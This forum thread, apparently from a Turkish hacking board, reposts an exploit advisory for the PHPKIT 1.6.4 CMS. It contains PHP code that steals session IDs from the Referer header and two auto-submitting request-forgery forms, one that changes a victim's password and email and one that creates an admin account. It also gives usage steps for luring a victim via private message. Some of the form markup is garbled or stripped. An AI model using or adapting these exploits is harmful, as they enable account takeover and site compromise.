X



Konu Bilgileri
Konu Başlığı
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilities
Konudaki Cevap Sayısı
0
Konuyu Açan Kişi
M i r z A
Görüntülenme Sayısı
8





Mesaj Önizleme  Konuyu Gönder 
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilities
Yazar Mesaj
M i r z A
EngLisH TeaCHeR
Administrators

Üye No: 1
Katılım: Jun 2006
Yer: French
Mesajlar: 10,023
Grup: Administrators
Durum Çevrimdışı

Rep Ver :
Rep Puanı : 131
Ruh Hali
asik

MSN araciligi ile mesaj yolla Yahoo araciligi ile mesaj yolla ICQ araciligi ile mesaj yolla AIM araciligi ile mesaj yolla







[ reply ]



Bak Dagıttın Yıktın İşte Tekrar
Aldın Elimden Sessizliğimi ,
Bir kez susmuştum senin için
Ve bir kez daha ,
Çaldın işte tek mirasımı
Mutlusun Biliyorum, Gelmesende
Ben bu sefer Zamklıyorum dudaklarımı suskunluğa yeminle..
Nolur gelme artık git.
Bu sefer ben seni istemiyorum İstanbul !
Mesaj: #1
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilities

###################################################################
PHPKIT 1.6.4 PL1 2 XSRF Vulnerabilites founded by NBBN
###################################################################

Vendor: http://www.phpkit.de/

PHPKIT sends in all link in the forum the sessionid via GET. So if an attacker
send a link to a victim, for example in a private message, he have the
sessionid if he filter the Referer:

************************************************************************
*******************
<?php
*
$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
*
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32); // Now the atttacker
have the sessionid.
?>
*
************************************************************************
*******************

::Vulnerabilites:

There are two vulnerabilities(there more XSRF, but the principle is the same)

1) Update User Profile XSRF (don't ask for current password)
2) Create an admin XSRF

1)
<?php
/*######################################################################
#############################################################
PHPKIT 1.6.4 PL1 Change User-Profile Vulnerability founded by NBBN. Founded
on 26th, January 2008.
########################################################################
#############################################################

With this XSRF Exploit an attacker can change the profile of an user. PHPKIT
sends in all link in the cms the sessionid of the user. And in the profile,
don't ask for the old password, so we can change, if we have the sessionid
the users password, email etc.

But where we become the sessionid? This is easy, we must only filter the
referer and then submit the form.

Usage: Create a php file with this code, upload it and send a pm to the victim
with this link. If victim click -> profile updated. Better is to create a
site an then this code in a invisible yasak içerik*/

$ref = $_SERVER['HTTP_REFERER']; // Here is the referer
$sid = substr($ref,strpos($ref,'PHPKITSID=')+10,32);
?>


nLoad="jdocument.form.submit()">

action="http://localhost/xampp/phpkit/upload_files/include.php?path=user
profile&mode=edit"
method="POST" name="form">
<!-- Here is our
sessionid getting from the referer -->
<!-- Enter here the
victims username -->
<!-- Define a new
password -->
<!-- Dito -->
<!-- Here you
can define a new e-mail address -->
















2) Create admin

IMPORTENT: This works only if the admin was logged in the admincp before he
click the link from the attacker.

<?php
$r = $_SERVER['HTTP_REFERER'];

$sid = substr($r,strpos($r,'PHPKITSID=')+10,32);
?>
nLoad=jdocument.edituser.submit()>

action="http://localhost/xampp/phpkit/upload_files/pk/include.php?path=u
seredit&editid=new"> type="hidden" name="PHPKITSID" value=<?php $sid ?> />


class="w90" /> <!-- Username -->
class="w90" /> <!-- username-->
value="Password" /> <!-- A password -->
<!--
Status -->

checked />

<!--
Email -->
17-02-2008 03:51:04 AM
Kullanıcının websitesini ziyaret et Bu kullanıcının gönderdiği mesajları bul Bu mesajı bir cevapta alıntı yap
Mesaj Önizleme  Konuyu Gönder 

Benzer Konular...
Konu: Yazar Cevaplar: Gösterim: Son Mesaj
  Pigyard Art Gallery Multiple Remote Vulnerabilities M i r z A 0 14 26-02-2008 19:24:29 PM
Son Mesaj: M i r z A
  Pigyard Art Gallery Multiple Remote Vulnerabilities M i r z A 0 14 26-02-2008 19:22:45 PM
Son Mesaj: M i r z A
  Portail Web Php <= 2.5.1.1 Multiple Remote/Local File Inclusion Vulnerabilities M i r z A 0 14 26-02-2008 19:22:04 PM
Son Mesaj: M i r z A

Yazdırılabilir Bir Versiyona Bak
Bu Konuyu Bir Arkadaşına Gönder
Bu Konuya Abone Ol | Konuyu Favorilerine Ekle

Foruma Git: